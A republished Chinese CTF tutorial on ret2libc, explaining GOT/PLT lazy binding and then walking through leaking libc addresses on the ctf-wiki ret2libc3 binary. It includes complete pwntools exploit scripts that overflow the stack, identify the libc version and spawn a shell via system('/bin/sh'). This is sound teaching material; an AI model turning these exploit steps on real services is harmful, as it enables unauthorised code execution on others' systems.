0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

ret2libc的原理和利用

jf_vLt34KHi 来源:Tide安全团队 2023-03-07 11:07 次阅读

前言

之前曾在Pwn入门之基础栈溢出里面曾经提过ret2libc的相关知识,但是写的比较笼统,感觉对新手还是不够友好,想通过本文对ret2libc的原理和利用进行详细讲解。

前置知识

GOT表和PLT表

got表也叫全局偏移表(Global Offset Table)是Linux ELF文件中用于定位全局变量和函数的一个表。

plt表也叫过程链接表(Procedure Linkage Table)是Linux ELF文件中用于延迟绑定的表恶,即函数第一次被调用的时候才进行绑定。

在程序运行过程中,plt表和got表的运行过程大致如下:

479f344e-bc72-11ed-bfe3-dac502259ad0.png

用一句话来总结就是,可执行文件里保存的是plt表的地址,对应plt地址指向的是got的地址,got表指向的是glibc中的地址

在这里如果需要通过plt表获取函数的地址,需要保证got表已经获取了正确的地址,但如果一开始对所有函数都进行了重定位是比较麻烦且浪费资源,为此,Linux引入了延迟绑定机制。

延迟绑定

这种机制存在的目的是glibc为了节约系统资源,提高性能。其详细过程如下

源程序在第一次调用一个函数时,首先去

如果存在一个tide函数,这个函数在plt中的条目为tide@plt,在got中的条目为tide@got,那么在第一次调用bar函数时,首先会跳转到plt,伪代码如下:


	

tide@plt; jmptide@got patchtide@got

这里会从PLT跳到GOT,如果函数从来没有调用过,那这时GOT会跳转回PLT并调用patch tide@got,这行代码的作用是将bar函数真正的地址填充到tide@got,然后跳转到bar函数真正的地址执行代码。当下次再次调用bar函数的时候,执行路径就是先跳转到tide@plt、tide@got、tide真正的地址。

简而言之就是,当一个函数被调用过后,got表里保存了他在内存中的地址,可以通过泄漏got表内存来泄漏函数地址,然后可以根据起泄漏的函数地址获得其libc版本,从而计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。

以计算system函数在内存空间中的函数地址举例。

  1. 1.获取__libc_start_main函数在内存空间中的地址addr_main
  2. 2.__libc_start_main函数相对于libc.so.6的起始地址是addr_main_offset
  3. 3.system函数相对于libc.so.6的起始地址是addr_system_offset
  4. 4.则system函数在内存中真正的地址为addr_main+addr_system_offset-addr_main_offset
在我们ret2libc中我们只需要理解为,只有执行过的函数,我们才能通过got表泄漏其地址。

基本思路

ret2libc是控制函数执行libc中的函数,通常是返回至某个函数的plt处。一般情况下,会选择执行system('/bin/sh'),因此需要找到system函数的地址 看到这里相信有的师傅就会问了,为什么不能直接跳到got表,通过前面的前置知识我们知道plt表中的地址对应的是指令,got表中的地址对应的是指令地址,而返回地址必须保存一段有效的汇编指令,所以必须要用plt表 ret2libc通常可以分为下面几种类型:
  • •程序中自身包含system函数和"/bin/sh"字符串
  • •程序中自身就有system函数,但是没有"/bin/sh"字符串
  • •程序中自身没有syetem函数和"/bin/sh"字符串,但给出了libc.so文件
  • •程序中自身没有sysetm函数和"/bin/sh"字符串,并且没有给出libc.so文件
针对前面那三种在前面的文章中已经进行过详细讲解,本文主要是针对第四种情况进行讲解 对于没有给出libc.so文件的程序,我们可以通过泄漏出程序当中的某个函数的地址,通过查询来找出其中使用lib.so版本是哪一个,然后根据lib.so的版本去找到我们需要的system函数的地址。 针对常见的题目我们的解题思路是这样的:
  1. 1.利用栈溢出及puts函数泄漏出在got表中__libc_start_main函数的地址
  2. 2.puts函数的返回地址为_start函数
  3. 3.利用最低的12位找出libc版本(即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变)
  4. 4.利用找到的libc版本计算system函数和/bin/sh字符串在内存中的正确的地址

实战

我们还是利用ctfwiki中的ret2libc3进行讲解 分析程序47b7ec14-bc72-11ed-bfe3-dac502259ad0.png 根据前面分析的,我们需要找到如下几个地址
  • __libc_start_main函数在got表的地址
  • _start函数的地址
  • puts函数在plt表中的地址
__libc_start_main函数在got表中的地址47f085f6-bc72-11ed-bfe3-dac502259ad0.png_start函数的地址4848cc3e-bc72-11ed-bfe3-dac502259ad0.pngputs函数在plt表中的地址486da48c-bc72-11ed-bfe3-dac502259ad0.png 获取到这三个地址后,我们可以采用调用puts函数后,retmain函数,用main函数里面的gets来获取libc_start的地址4898ed68-bc72-11ed-bfe3-dac502259ad0.png 获取libc_start地址的脚本如下

	frompwnimport* sh=process('./ret2libc3') puts_plt=0x8048460 addr_start=0x80484d0 got_libc_start=0x804a024 payload=112*b'a'+p32(puts_plt)+p32(addr_start)+p32(got_libc_start) sh.recv() sh.sendline(payload) puts_addr=u32(sh.recv(4)) success("__libc_start_addris:"+hex(puts_addr)) sh.recv()48c5bfa0-bc72-11ed-bfe3-dac502259ad0.png
		即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变,在16进制中也就是我们的最后3位,因此cd0是不会变,使用libc database search(https://libc.blukat.me/)进行查询(网上普遍推荐的是利用LibcSearcher,但是我用LibcSearcher一直没打通)49054684-bc72-11ed-bfe3-dac502259ad0.png
		看到这么多libc版本挨个试可能会累死,于是再来泄漏个puts的地址

	frompwnimport* sh=process('./ret2libc3') puts_plt=0x8048460 addr_start=0x80484d0 got_libc_start=0x804a024 got_puts=0x804a018 #获取__libc_start的地址 payload1=112*b'a'+p32(puts_plt)+p32(addr_start)+p32(got_libc_start) sh.recv() sh.sendline(payload1) libc_start_addr=u32(sh.recv(4)) success("__libc_start_addris:"+hex(libc_start_addr)) #获取puts的地址 payload2=112*b'a'+p32(puts_plt)+p32(addr_start)+p32(got_puts) sh.recv() sh.sendline(payload2) puts_addr=u32(sh.recv(4)) success("puts_addris:"+hex(puts_addr))49174afa-bc72-11ed-bfe3-dac502259ad0.png4945fa8a-bc72-11ed-bfe3-dac502259ad0.png
		还剩下三个了,使用下面的脚本挨个尝试吧

	frompwnimport* sh=process('./ret2libc3') puts_plt=0x8048460 addr_start=0x80484d0 got_libc_start=0x804a024 got_puts=0x804a018 #获取__libc_start的地址 payload1=112*b'a'+p32(puts_plt)+p32(addr_start)+p32(got_libc_start) sh.recv() sh.sendline(payload1) libc_start_addr=u32(sh.recv(4)) success("__libc_start_addris:"+hex(libc_start_addr)) #获取puts的地址 payload2=112*b'a'+p32(puts_plt)+p32(addr_start)+p32(got_puts) sh.recv() sh.sendline(payload2) puts_addr=u32(sh.recv(4)) success("puts_addris:"+hex(puts_addr)) sh.recv() libc_start=#通过libcdatabasesearch获取 libc_system=#通过libcdatabasesearch获取 libc_binsh=#通过libcdatabasesearch获取 libcbase=libc_start_addr-libc_start system_addr=libcbase+libc_system binsh_addr=libcbase+libc_binsh payload=112*b'a'+p32(system_addr)+4*b'a'+p32(binsh_addr) sh.sendline(payload) sh.interactive() 49655524-bc72-11ed-bfe3-dac502259ad0.png
		最终经过多次实验可知,libc文件是libc6_2.31-0ubuntu9_i386
		最终的完整脚本如下

	frompwnimport* sh=process('./ret2libc3') puts_plt=0x8048460 addr_start=0x80484d0 got_libc_start=0x804a024 got_puts=0x804a018 #获取__libc_start的地址 payload1=112*b'a'+p32(puts_plt)+p32(addr_start)+p32(got_libc_start) sh.recv() sh.sendline(payload1) libc_start_addr=u32(sh.recv(4)) success("__libc_start_addris:"+hex(libc_start_addr)) #获取puts的地址 payload2=112*b'a'+p32(puts_plt)+p32(addr_start)+p32(got_puts) sh.recv() sh.sendline(payload2) puts_addr=u32(sh.recv(4)) success("puts_addris:"+hex(puts_addr)) sh.recv() libc_start=0x01edf0 libc_system=0x045830 libc_binsh=0x192352 libcbase=libc_start_addr-libc_start system_addr=libcbase+libc_system binsh_addr=libcbase+libc_binsh payload=112*b'a'+p32(system_addr)+4*b'a'+p32(binsh_addr) sh.sendline(payload) sh.interactive()
		成功打通49868cbc-bc72-11ed-bfe3-dac502259ad0.png

总结

ret2libc这种题型,相较于前面简单的题目,对Linux中程序运行的理解要求更高,一开始根据网上的教程去寻找libc版本的时候发现大多数教程都是使用脚本去获取,但在自己尝试的时候就一直打不通,于是便放弃了脚本采用手工的方式进行查找,可能相较于通过脚本直接获取更加费时费力,但是也通过这个倒逼自己将got表和plt表的相关知识彻底理解透彻,也捋清楚了程序在Linux中到底是如何运行的。 审核编辑 :李倩

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Linux
    +关注

    关注

    87

    文章

    11229

    浏览量

    208927
  • 程序
    +关注

    关注

    116

    文章

    3777

    浏览量

    80851
  • 函数
    +关注

    关注

    3

    文章

    4306

    浏览量

    62430
收藏 人收藏

    评论

    相关推荐

    什么是正确的文档用于遗留的LIBC库?

    我一直在尝试测试XC32 V1.42中的“新”传统LIBC标准库。首先,什么是正确的文档用于遗留的LIBC库?它们只是共享与现在过时的“新”库相同的帮助文件吗?我的项目似乎正确地引用了stdio
    发表于 08-06 09:02

    esp8266使用的是什么libc

    是否有官方来源?我已经从 Espressif 下载了一些 SDK,但还没有找到标头。 另一个问题是 esp8266 使用的是什么 libc?任何 SDK 中是否包含一个
    发表于 06-09 06:09

    基于STM32F103RET6的编译码系统

    本文提出了一种基于STM32F103RET6的编译码系统方案,利用了STM32F103RET6强大的定时器功能,采用灵活的编译码方式,传输速率和数据帧格式都可以根据需要完全自行定义。
    发表于 03-04 14:38 7005次阅读
    基于STM32F103<b class='flag-5'>RET</b>6的编译码系统

    stm32f103ret7

    stm32f103ret7是32位闪存微控制器的STM32系列基于ARM Cortex M3核心的突破,stm32f103ret7为嵌入式应用特别开发的核心。
    发表于 08-24 15:51 2250次阅读

    AVR入门:怎么样使用AVR LibC's Stdio发送格式化的字符串?

    AVR入门:使用AVR LibC's Stdio发送格式化的字符串 (#21)
    的头像 发表于 07-09 00:02 3020次阅读
    AVR入门:怎么样使用AVR <b class='flag-5'>LibC</b>'s Stdio发送格式化的字符串?

    avr-libc malloc/free的实现

    avr-libc malloc/free的实现
    发表于 11-15 16:36 4次下载
    avr-<b class='flag-5'>libc</b> malloc/free的实现

    NPN/NPN 双电阻配备晶体管(RET);R1=4.7kΩ, R2=47kΩ-PUMH13-Q

    NPN/NPN 双电阻配备晶体管 (RET);R1= 4.7 kΩ, R2 = 47 kΩ-PUMH13-Q
    发表于 02-10 19:19 0次下载
    NPN/NPN 双电阻配备晶体管(<b class='flag-5'>RET</b>);R1=4.7kΩ, R<b class='flag-5'>2</b>=47kΩ-PUMH13-Q

    50V,100mA NPN/PNP 电阻配备双晶体管(RET)-PRMD2

    50 V、100 mA NPN/PNP 电阻配备双晶体管 (RET)-PRMD2
    发表于 02-21 18:45 0次下载
    50V,100mA NPN/PNP 电阻配备双晶体管(<b class='flag-5'>RET</b>)-PRMD<b class='flag-5'>2</b>

    50V,100mA NPN/NPN 电阻器配备双晶体管(RET)-PRMH2

    50 V、100 mA NPN/NPN 电阻器配备双晶体管 (RET)-PRMH2
    发表于 02-21 18:46 0次下载
    50V,100mA NPN/NPN 电阻器配备双晶体管(<b class='flag-5'>RET</b>)-PRMH<b class='flag-5'>2</b>

    NPN 800 mA,40 V BISS RET;R1=2.2欧姆,R2=10欧姆-PBRN123Y_SER

    NPN 800 mA,40 V BISS RET;R1 = 2.2 欧姆,R2 = 10 欧姆-PBRN123Y_SER
    发表于 02-21 19:03 0次下载
    NPN 800 mA,40 V BISS <b class='flag-5'>RET</b>;R1=2.2欧姆,R<b class='flag-5'>2</b>=10欧姆-PBRN123Y_SER

    嵌入式技术:ret2libc原理和应用讲解

    当一个函数被调用过后,got表里保存了他在内存中的地址,可以通过泄漏got表内存来泄漏函数地址,然后可以根据起泄漏的函数地址获得其libc版本,从而计算其他函数在内存空间中的地址。
    发表于 03-07 11:10 1277次阅读

    Nexperia | 了解RET的开关特性

    Nexperia | 了解RET的开关特性
    的头像 发表于 05-24 12:16 742次阅读
    Nexperia | 了解<b class='flag-5'>RET</b>的开关特性

    RISC-V SIG 在欧拉嵌入式操作系统上成功实现musl libc 的适配

    近期,RISC-V SIG 在欧拉嵌入式操作系统上成功实现了 musl libc 的适配,完成了使用 musl libc 库替换 glibc 库构建镜像的工作。目前,以 musl libc 为基础库
    的头像 发表于 05-29 15:23 1708次阅读
    RISC-V SIG 在欧拉嵌入式操作系统上成功实现musl <b class='flag-5'>libc</b> 的适配

    ACM32F403RET7_CORE_V1

    ACM32F403RET7_CORE_V1
    发表于 08-30 14:30 19次下载

    RET天线的工作原理 RET扇形天线和RET全向天线之间的主要区别

    RET天线的工作原理 RET扇形天线和RET全向天线之间的主要区别 RET天线工作原理及扇形天线与全向天线的主要区别 引言: 随着无线通信技术的发展,天线作为无线通信系统中的重要组成部
    的头像 发表于 11-28 14:07 1113次阅读